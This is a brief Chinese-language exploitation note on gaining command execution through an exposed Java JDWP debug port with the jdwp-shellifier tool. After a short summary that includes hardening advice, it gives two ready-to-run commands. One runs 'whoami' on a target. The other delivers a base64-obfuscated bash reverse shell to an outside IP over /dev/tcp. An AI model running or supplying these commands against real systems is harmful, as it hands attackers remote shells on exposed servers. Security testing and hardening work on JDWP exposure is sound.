Java jdwp调试命令执行

TL;DR

  • JDWP 调试端口暴露会让攻击者连接 Java 调试接口,并借助断点和表达式执行实现命令执行。
  • 文章记录了使用 jdwp-shellifier 触发命令执行的基本思路,以及无回显场景下的利用特征。
  • 生产环境应禁止暴露 JDWP 端口,确需调试时也要限制监听地址、访问来源和生命周期。

Java jdwp调试命令执行

漏洞成因是开启了java的调试模式,debugger模式,对外开放了8000端口可连接调试,可读取java进程及其利用进程执行命令

https://github.com/r3change/jdwp-shellifier

1
python2 jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"

可执行但是一般无回显,主要是将输入的字符串转回对象执行

1
python2 jdwp-shellifier.py -t 192.168.182.130 -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjExLjM0LjIvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"